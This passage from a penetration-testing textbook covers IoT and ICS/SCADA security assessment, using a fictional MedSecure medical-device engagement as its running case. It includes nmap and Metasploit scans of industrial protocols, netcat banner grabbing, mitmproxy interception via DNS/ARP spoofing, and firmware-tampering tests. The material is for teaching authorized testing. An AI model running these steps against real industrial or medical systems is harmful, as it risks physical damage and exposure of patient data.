Programmable Logic Controllers (PLCs) — Industrial computers that control physical processes based on programmed logic. PLCs read sensor inputs, execute logic, and control actuators.

Human-Machine Interfaces (HMIs) — Operator stations that display process data and allow operator control.

SCADA Servers — Central systems that aggregate data from multiple PLCs and HMIs, provide historical data storage, and enable remote monitoring.

Industrial Protocols — Modbus (serial and TCP), DNP3, EtherNet/IP, OPC UA, S7comm, IEC 61850, BACnet. These protocols were designed decades before cybersecurity was a concern.

31.8.2 ICS Security Testing Considerations

Critical Warning — ICS Testing Safety

Testing ICS/SCADA systems carries extreme risk. Disrupting a PLC that controls a chemical process, power grid, or water treatment facility can cause physical harm, environmental damage, or loss of life. ICS testing should ONLY be performed: - On isolated test environments that do not control real processes - By experienced professionals with ICS domain knowledge - With explicit authorization and safety protocols in place - With process engineers and operators present - With documented rollback procedures for every test

Modbus Testing (on authorized test environments only):

# Scan for Modbus devices
nmap -sV -p 502 target-network/24

# Read Modbus registers (requires authorization and isolated environment)
# Using modbus-cli
modbus read target-ip 0 10  # Read 10 holding registers starting at address 0

# Using nmap scripts
nmap -p 502 --script modbus-discover target-ip

# Using Metasploit
msfconsole
use auxiliary/scanner/scada/modbus_findunitid
set RHOSTS target-ip
run

Common ICS Vulnerabilities: - No authentication on industrial protocols (Modbus has no native authentication) - Default credentials on HMIs and engineering workstations - Flat networks with no segmentation between IT and OT - Legacy operating systems (Windows XP, Windows 7) without patches - Remote access without multi-factor authentication - Lack of encryption in industrial protocols

31.8.3 Additional Industrial Protocols

Beyond Modbus, ICS environments use numerous specialized protocols, each with distinct security characteristics:

DNP3 (Distributed Network Protocol 3) is widely used in electric and water utilities for communication between control centers and remote stations. DNP3 Secure Authentication (SA) adds challenge-response authentication, but many deployments still use unauthenticated DNP3. Testing should verify whether SA is implemented and properly configured.

EtherNet/IP and CIP (Common Industrial Protocol) are used in manufacturing automation, primarily with Allen-Bradley/Rockwell Automation equipment. CIP provides no native security — authentication and encryption must be implemented at the network level. The protocol supports read, write, and program download operations that can modify PLC logic.

OPC UA (Open Platform Communications Unified Architecture) is a modern industrial protocol designed with security in mind. It supports authentication, encryption, and signing. However, many implementations use the "None" security policy for compatibility, disabling all security features. Testing should verify the active security policy and certificate management.

S7comm is Siemens' proprietary protocol for communication with S7 PLCs. It operates over TCP port 102 and has known weaknesses including lack of authentication and the ability to read and write PLC memory. Nmap scripts and Metasploit modules exist for S7comm enumeration.

# Scan for industrial protocols
nmap -sV -p 102,502,2222,4840,44818,47808,20000 target-network/24

# Protocol-specific scanning
nmap -p 102 --script s7-info target-ip          # Siemens S7
nmap -p 44818 --script enip-info target-ip      # EtherNet/IP
nmap -p 4840 --script opc-ua-info target-ip     # OPC UA
nmap -p 47808 --script bacnet-info target-ip    # BACnet

31.8.4 The Purdue Model and Network Segmentation

The Purdue Enterprise Reference Architecture provides a framework for ICS network segmentation:

• Level 0: Physical process (sensors, actuators)
• Level 1: Basic control (PLCs, RTUs)
• Level 2: Supervisory control (HMI, SCADA)
• Level 3: Manufacturing operations (historian, MES)
• DMZ: Demilitarized zone between IT and OT
• Level 4-5: Enterprise IT network

Security testing should verify that proper segmentation exists between these levels, with the DMZ serving as the critical boundary between IT and OT networks.

31.9 IoT Vulnerability Assessment Methodology

A structured approach to IoT security testing ensures comprehensive coverage:

31.9.1 Phase 1: Reconnaissance and Information Gathering

# Network discovery
nmap -sn iot-network/24  # Host discovery
nmap -sV -O iot-device-ip  # Service and OS detection

# Identify IoT-specific services
nmap -sV -p 1883,8883,5683,502,47808,4840 iot-network/24
# 1883/8883: MQTT
# 5683: CoAP
# 502: Modbus
# 47808: BACnet
# 4840: OPC UA

# Banner grabbing
nc iot-device-ip 80
nc iot-device-ip 23  # Telnet (common on IoT)
nc iot-device-ip 1883  # MQTT

# Shodan/Censys search for similar devices
shodan search "medsecure" --fields ip_str,port,org

31.9.2 Phase 2: Hardware Analysis

1. Open the device enclosure (document with photos)
2. Identify main components (processor, memory, flash, radio modules)
3. Locate debug interfaces (UART, JTAG/SWD headers)
4. Connect to UART for console access
5. Attempt firmware extraction via SPI/JTAG
6. Document all hardware findings

31.9.3 Phase 3: Firmware Analysis

1. Extract firmware (from hardware or download)
2. Analyze with binwalk for filesystem identification
3. Extract and mount the filesystem
4. Search for credentials, keys, and sensitive data
5. Analyze custom binaries for vulnerabilities
6. Review update mechanisms for security

31.9.4 Phase 4: Protocol Analysis

1. Capture network traffic during normal operation
2. Identify all protocols in use
3. Test authentication requirements for each protocol
4. Check for encryption of sensitive data
5. Attempt replay attacks
6. Fuzz protocol implementations for crashes

31.9.5 Phase 5: Web Interface Testing

1. Apply standard web application testing (Chapter 15)
2. Test for default/hardcoded credentials
3. Check for command injection in device management functions
4. Test firmware update functionality
5. Verify session management and authentication

31.10 Applying to MedSecure: IoT Medical Device Assessment

MedSecure's IoT medical devices require a security assessment that considers both technical vulnerabilities and patient safety implications.

UART Console Access. The testing team identified UART headers on the vital signs monitor PCB. Connecting at 115200 baud provided a root shell with no authentication. This allowed direct access to the local patient data database, MQTT credentials, and device configuration.

Firmware Analysis. Firmware extracted via SPI flash revealed a BusyBox-based Linux system running on an ARM processor. Findings included default root credentials in /etc/shadow, the MQTT broker password stored in plaintext, an outdated version of OpenSSL with known vulnerabilities, and CGI scripts vulnerable to command injection.

BLE Communication. The BLE interface used Just Works pairing with no authentication. Patient vital signs were transmitted in plaintext over BLE characteristics. An attacker within Bluetooth range (approximately 100 meters) could passively capture patient heart rate, blood pressure, and SpO2 data.

MQTT Analysis. The MQTT broker accepted connections with default credentials. No topic-level ACLs were configured — any authenticated device could subscribe to any topic, including other patients' vital signs data. Messages were not encrypted (port 1883 instead of 8883).

Remediation Priorities: 1. Disable or remove UART debug access in production devices 2. Implement unique per-device credentials (no hardcoded passwords) 3. Enable BLE encryption and require Passkey Entry pairing 4. Configure MQTT with TLS, unique device certificates, and topic ACLs 5. Implement signed firmware updates 6. Add input validation to CGI scripts

Lab Exercise — Building an IoT Security Testing Lab

For your student home lab, acquire inexpensive IoT devices for practice: a Raspberry Pi running a simulated IoT device, a WiFi-connected smart plug or bulb, a cheap IP camera, and a USB UART adapter. Set up an isolated network, connect the devices, and practice: UART console access (on the Raspberry Pi), network scanning and service identification, MQTT broker testing (install Mosquitto on the Pi), and web interface testing. Intentionally vulnerable IoT platforms like DVID (Damn Vulnerable IoT Device) and IoTGoat provide structured learning environments.

31.11 IoT Supply Chain and Firmware Update Security

The security of IoT devices extends far beyond the device itself — it encompasses the entire supply chain from component sourcing through manufacturing, distribution, and ongoing software updates. Supply chain attacks on IoT devices are particularly dangerous because they can compromise devices before they ever reach the end user, and firmware update mechanisms are both the primary remediation path for discovered vulnerabilities and a potential attack vector if implemented insecurely.

31.11.1 Firmware Update Mechanism Testing

Secure firmware updates are the single most important long-term security control for IoT devices. Without secure updates, every vulnerability discovered after deployment becomes permanent. Testing the firmware update mechanism should cover multiple dimensions:

Update Transport Security. Verify that firmware updates are downloaded over TLS/HTTPS, not HTTP. Man-in-the-middle attacks on unencrypted update channels can deliver malicious firmware to devices. Test whether the device validates the server's TLS certificate or accepts any certificate.

# Intercept firmware update traffic
# 1. Set up a proxy (mitmproxy or Burp Suite) on the network
# 2. Configure DNS or ARP spoofing to redirect update traffic
mitmproxy --mode transparent --ssl-insecure

# Monitor for firmware update requests
# Look for HTTP requests to update servers, download URLs, version checks
# If the device downloads firmware over HTTP, capture the URL and try:
wget http://update-server.medsecure-example.com/firmware/latest.bin

# Test certificate validation
# Create a self-signed certificate for the update server domain
# If the device accepts updates from a server with an invalid certificate,
# that is a critical finding

Firmware Signature Verification. The device should verify a cryptographic signature on the firmware image before applying the update. Without signature verification, an attacker who gains access to the update channel can deliver arbitrary code to the device.

# Test signature verification
# 1. Download a legitimate firmware update
# 2. Modify a single byte in the firmware binary
hexedit firmware.bin  # Change any byte
# 3. Attempt to install the modified firmware
# If the device accepts the modified firmware, signature verification is absent or broken

# Check for the signing key in the firmware
# Sometimes the public key used for verification is embedded in the firmware itself
# If an attacker can modify the firmware AND the embedded public key, the verification
# is circular and ineffective
grep -r "BEGIN PUBLIC KEY" extracted_filesystem/
grep -r "BEGIN RSA PUBLIC KEY" extracted_filesystem/
find extracted_filesystem/ -name "*.pem" -o -name "*.der" -o -name "*.crt"

Rollback Protection. Verify that the device prevents downgrade attacks — installing an older firmware version that contains known vulnerabilities. Without rollback protection, an attacker can exploit the update mechanism to install a vulnerable older version, then exploit the known vulnerability.

Update Authentication. The device should verify not just the firmware integrity but also the identity of the update source. Test whether the device accepts updates from arbitrary servers or only from the manufacturer's authorized update infrastructure.

31.11.2 Supply Chain Attack Surface

IoT supply chains involve multiple parties — silicon vendors, board designers, firmware developers, contract manufacturers, and distributors — each of which can introduce vulnerabilities or malicious modifications:

Component-Level Risks. Counterfeit or modified components may include backdoors at the hardware level. While detecting hardware trojans is beyond most penetration testing engagements, testers should verify that devices use components from authorized distributors and that firmware corresponds to the expected hardware platform.

Manufacturing Backdoors. Devices sometimes ship with debug interfaces (UART, JTAG) enabled, test credentials active, and development features accessible. These manufacturing artifacts should be disabled before production deployment. During IoT assessments, the discovery of active debug interfaces and default credentials is among the most common findings.

Third-Party Firmware Components. IoT firmware frequently incorporates open-source components (BusyBox, OpenSSL, lwIP, FreeRTOS) and third-party SDKs (cloud connectivity libraries, protocol stacks). Each component has its own vulnerability history. An IoT security assessment should identify all firmware components and check them against known vulnerability databases.

# Identify components and versions in extracted firmware
# BusyBox version
strings firmware_rootfs/bin/busybox | grep "BusyBox v"

# OpenSSL version
strings firmware_rootfs/usr/lib/libssl.so | grep "OpenSSL"

# Linux kernel version
strings firmware_rootfs/boot/zImage | grep "Linux version"

# Check all identified versions against CVE databases
# Use tools like cve-bin-tool for automated CVE matching
pip3 install cve-bin-tool
cve-bin-tool extracted_firmware/

31.11.3 Software Bill of Materials (SBOM)

The growing regulatory emphasis on SBOMs (driven by US Executive Order 14028 and the EU Cyber Resilience Act) is directly relevant to IoT security testing. An SBOM is a comprehensive inventory of all software components in a device, including version numbers and known vulnerabilities. During an IoT assessment:

1. Request the manufacturer's SBOM if available
2. If not available, generate one from the extracted firmware using tools like syft or tern
3. Cross-reference all components against CVE databases
4. Identify components that are no longer maintained (end-of-life) and cannot receive patches
5. Document components with known unpatched vulnerabilities

Blue Team Perspective — IoT Device Lifecycle Security

Defenders should implement a complete IoT device lifecycle security program: maintain an accurate asset inventory of all IoT devices on the network, track firmware versions across the fleet, establish a vulnerability management process for IoT device components, ensure firmware update mechanisms are signed and encrypted, monitor for unauthorized firmware modifications, define end-of-life policies for devices that can no longer receive security updates, and require SBOMs from IoT device vendors. For medical devices like MedSecure's vital signs monitor, the FDA's premarket cybersecurity guidance recommends a proactive approach to identifying and patching vulnerabilities throughout the device's supported lifetime.

31.12 IoT Security Testing Reporting

IoT security findings require additional context beyond traditional vulnerability reports due to the physical nature of the devices and the diverse stakeholders involved.

31.12.1 IoT-Specific Report Elements

Hardware Access Requirements. Each finding should clearly state the level of physical access required — remote network access, local network access, physical proximity (for BLE/RF), or direct hardware contact (for UART/JTAG). This helps stakeholders assess real-world exploitability.

Safety Impact Assessment. For IoT devices that interact with the physical world (medical devices, industrial controllers, automotive systems), each finding must include a safety impact analysis. In MedSecure's context, a vulnerability that allows modification of patient vital signs data has a direct patient safety impact that must be communicated clearly.

Remediation Feasibility. Unlike software vulnerabilities that can be patched with code updates, IoT vulnerabilities may require hardware modifications, firmware reflashing, or device replacement. The report should assess whether remediation is feasible for deployed devices or only for future production runs.

Regulatory Mapping. Map findings to applicable regulations: FDA premarket/postmarket guidance for medical devices, HIPAA for healthcare data, IEC 62443 for industrial systems, ETSI EN 303 645 for consumer IoT, and the EU Cyber Resilience Act for products sold in Europe.

31.12.2 Communicating to Non-Technical Stakeholders

IoT security reports often reach audiences beyond IT security — product managers, hardware engineers, manufacturing teams, and executive leadership. Use clear language that connects technical findings to business impact:

Instead of: "UART debug interface provides unauthenticated root shell access." Write: "Physical access to the device's internal circuit board allows an attacker to gain complete control of the device and extract all patient data stored on it. This requires opening the device enclosure and connecting a $10 cable to an internal connector."

This communication approach helps stakeholders understand both the severity and the practical exploitability of findings.

MedSecure Scenario — IoT Assessment Reporting

The MedSecure IoT assessment report was structured for three audiences: the executive summary for C-suite leadership focused on patient safety risks and HIPAA implications, the technical findings section for the engineering team included specific firmware offsets, protocol captures, and remediation code, and the regulatory section mapped each finding to FDA guidance on medical device cybersecurity and HIPAA security rule requirements. The report also included a hardware modification roadmap showing which fixes could be applied via firmware update (MQTT encryption, web interface hardening) versus which required hardware changes in future production runs (UART debug port removal, secure boot implementation).

31.13 Emerging IoT Security Challenges

Matter Protocol. The Matter smart home standard promises improved interoperability and security for smart home devices. Matter uses IP-based communication with mandatory encryption and authentication, addressing many of the security weaknesses found in older protocols like Zigbee HA and Z-Wave. However, Matter's complexity — involving device commissioning, fabric management, multi-admin features, and bridge devices — creates new testing requirements. Security testers should verify that Matter device commissioning follows the specified security procedures, that fabric credentials are properly protected, and that bridge devices do not expose non-Matter devices to new attack paths.

Edge AI and TinyML. IoT devices increasingly run machine learning models locally using frameworks like TensorFlow Lite Micro, Edge Impulse, and proprietary inference engines. These on-device models introduce several new attack vectors: model extraction through debug interfaces or firmware analysis reveals proprietary algorithms, adversarial inputs can manipulate model predictions (e.g., causing an anomaly detection system to ignore genuine threats), and training data poisoning can compromise models before deployment. For MedSecure, a vital signs monitor running a local arrhythmia detection model could be targeted — adversarial input manipulation could cause the model to miss dangerous heart rhythms or generate false alarms.

5G and IoT. 5G's massive IoT (mIoT) capabilities will connect billions more devices, many with minimal security capabilities. Network slicing allows operators to create isolated virtual networks for different IoT use cases, but misconfigured slices could allow cross-tenant access. Multi-access Edge Computing (MEC) moves processing to the network edge, potentially storing sensitive IoT data at cell tower locations with different physical security profiles than centralized data centers. The combination of increased device density, edge computing, and network slicing creates a significantly more complex attack surface.

Digital Twins. Virtual replicas of physical IoT systems create new attack surfaces — compromising a digital twin could allow attackers to manipulate the operator's view of the physical system, hiding real-world problems or creating phantom alerts. In industrial contexts, an attacker who controls the digital twin can present false process data to operators while physically manipulating the actual systems. Security testing of digital twin platforms should verify data integrity between physical devices and their virtual representations.

Regulation. The EU Cyber Resilience Act, UK PSTI Act (Product Security and Telecommunications Infrastructure), and US IoT Cybersecurity Improvement Act are imposing mandatory security requirements on IoT manufacturers, including vulnerability disclosure programs, firmware update mechanisms, unique per-device passwords (no more "admin/admin"), and minimum encryption standards. The UK PSTI Act, effective since April 2024, prohibits universal default passwords and requires manufacturers to provide a vulnerability disclosure policy and state the minimum period for security updates. For security testers, these regulations provide a baseline against which IoT devices can be assessed — non-compliance is itself a finding.

Satellite IoT. Low Earth Orbit (LEO) satellite networks (Starlink, Amazon Kuiper) are enabling IoT connectivity in remote locations without cellular coverage. Satellite-connected IoT devices used in agriculture, maritime, and remote industrial monitoring face unique security challenges: high-latency connections that complicate real-time security monitoring, limited bandwidth that constrains encryption overhead, and physical deployment in unattended, remote locations where hardware tampering is difficult to detect.

Summary

IoT and embedded systems security testing sits at the intersection of hardware, firmware, networking, and web application security. The unique challenges of IoT — constrained resources, physical deployment, diverse protocols, and real-world impact — require specialized skills and tools that extend beyond traditional penetration testing.

In this chapter, we explored the IoT ecosystem architecture and its layered attack surface, learned hardware hacking techniques including UART, JTAG, SPI, and I2C interface access, mastered firmware extraction and analysis using binwalk and filesystem exploration, tested IoT-specific protocols including MQTT, CoAP, Zigbee, and BLE, assessed embedded web interfaces for common vulnerabilities, examined the critical safety requirements of ICS/SCADA testing, and investigated supply chain and firmware update security.

Our deep dive into BLE security testing demonstrated the importance of examining every GATT characteristic for proper authentication and encryption, testing for replay attacks, and verifying that the pairing mechanism resists man-in-the-middle attacks. The supply chain and firmware update section highlighted that long-term IoT security depends entirely on the integrity of the update mechanism — without secure, signed firmware updates, every vulnerability discovered after deployment becomes a permanent fixture.

For MedSecure, IoT security is directly linked to patient safety. A compromised vital signs monitor could report false data, leading to incorrect medical decisions. A hacked medication dispenser could administer wrong dosages. The BLE assessment findings — Just Works pairing, plaintext vital signs transmission, and writable configuration characteristics without authentication — each represent not just technical vulnerabilities but direct threats to patient welfare. The stakes in IoT medical device security are measured not in dollars but in human lives.

The IoT security landscape is rapidly evolving as regulation increases, standards mature, and the sheer number of connected devices continues to grow. New protocols like Matter promise improved security baselines, while emerging technologies like edge AI and satellite IoT expand the attack surface in novel ways. Ethical hackers who develop expertise in IoT security testing — combining hardware hacking skills, firmware analysis capabilities, protocol testing proficiency, and an understanding of physical safety implications — will find themselves addressing some of the most consequential and technically rewarding security challenges of the coming decade.

Next: Chapter 32 — Purple Teaming and Adversary Simulation